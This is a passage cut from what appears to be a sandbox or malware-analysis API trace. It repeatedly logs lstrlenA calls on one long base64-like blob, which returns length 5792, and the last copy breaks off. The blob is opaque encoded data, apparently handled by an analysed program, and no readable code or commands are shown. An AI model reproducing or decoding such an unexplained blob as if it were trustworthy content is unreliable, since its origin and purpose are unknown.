(lpString="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") returned 5792 [0163.811] lstrlenA (lpString="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") returned 5792 [0163.811] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBD